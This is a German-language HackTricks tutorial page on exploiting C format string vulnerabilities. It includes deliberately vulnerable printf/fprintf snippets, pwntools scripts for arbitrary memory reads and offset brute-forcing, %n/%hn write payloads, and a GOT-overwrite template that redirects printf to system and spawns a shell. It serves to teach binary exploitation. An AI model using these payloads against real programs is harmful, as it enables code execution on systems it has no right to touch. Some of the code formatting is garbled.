Format Strings

Support HackTricks

Grundinformationen

In C printf ist eine Funktion, die verwendet werden kann, um einen String auszugeben. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden Parameter, die erwartet werden, sind die Werte, um die Formatierer aus dem rohen Text zu ersetzen.

Andere verwundbare Funktionen sind sprintf() und fprintf().

Die Verwundbarkeit tritt auf, wenn ein Angreifertext als erstes Argument für diese Funktion verwendet wird. Der Angreifer kann eine spezielle Eingabe erstellen, die die printf-Format-String-Funktionen ausnutzt, um beliebige Daten an beliebiger Adresse (lesbar/schreibbar) zu lesen und zu schreiben. Auf diese Weise kann er beliebigen Code ausführen.

Formatierer:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Beispiele:

  • Verwundbares Beispiel:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normale Verwendung:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Mit fehlenden Argumenten:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf anfällig:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Zugriff auf Zeiger

Das Format %<n>$x, wobei n eine Zahl ist, ermöglicht es, printf anzuzeigen, dass der n-te Parameter (vom Stack) ausgewählt werden soll. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:

printf("%x %x %x %x")

und du würdest vom ersten bis zum vierten Parameter lesen.

Oder du könntest Folgendes tun:

printf("%4$x")

und direkt das vierte lesen.

Beachten Sie, dass der Angreifer den printf Parameter kontrolliert, was im Grunde bedeutet, dass seine Eingabe im Stack sein wird, wenn printf aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stack schreiben könnte.

Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, willkürliche Adressen im Stack hinzuzufügen und printf dazu zu bringen, auf sie zuzugreifen. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzt.

Willkürliches Lesen

Es ist möglich, den Formatter %n$s zu verwenden, um printf die Adresse an der n Position zu entnehmen, die ihm folgt, und sie so zu drucken, als wäre es eine Zeichenkette (drucken, bis ein 0x00 gefunden wird). Wenn also die Basisadresse des Binaries 0x8048000 ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen können, da der String bei 0x00 am Ende dieser Adresse abgeschnitten wird.

Offset finden

Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (0x41414141) senden, gefolgt von %1$x und den Wert erhöhen, bis Sie die A's erhalten.

Brute Force printf-Offset

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### Wie nützlich

Arbitrary Reads können nützlich sein, um:

* **Den** **Binary** aus dem Speicher **auszugeben**
* **Auf spezifische Teile des Speichers zuzugreifen, wo sensible** **Infos** gespeichert sind (wie Canaries, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser [**CTF-Herausforderung**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrary Write**

Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen schreiben kann, wie er möchte, wird er in der Lage sein, **`%<num>$n`** eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.

Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Um dies zu tun, ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die `num` Position** angezeigt wird.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Allerdings ist zu beachten, dass normalerweise, um eine Adresse wie 0x08049724 (was eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, $hn anstelle von $n verwendet wird. Dies ermöglicht es, nur 2 Bytes zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.

Daher ermöglicht diese Schwachstelle, alles an jede Adresse zu schreiben (willkürliches Schreiben).

In diesem Beispiel wird das Ziel sein, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies andere Techniken des willkürlichen Schreibens zu exec missbrauchen könnte:

Wir werden eine Funktion überschreiben, die ihre Argumente vom Benutzer erhält und sie auf die system Funktion zeigt. Wie bereits erwähnt, sind normalerweise 2 Schritte erforderlich, um die Adresse zu schreiben: Zuerst schreibt man 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn verwendet.

  • HOB wird auf die 2 höheren Bytes der Adresse aufgerufen

  • LOB wird auf die 2 niedrigeren Bytes der Adresse aufgerufen

Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie zuerst das kleinste von [HOB, LOB] schreiben und dann das andere.

Wenn HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Wenn HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools-Vorlage

Sie finden eine Vorlage, um einen Exploit für diese Art von Schwachstelle vorzubereiten in:

Oder dieses grundlegende Beispiel von hier:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format-Strings zu BOF

Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um in Adressen des Stacks zu schreiben und eine Pufferüberlauf-Art von Sicherheitsanfälligkeit auszunutzen.

Weitere Beispiele & Referenzen

Last updated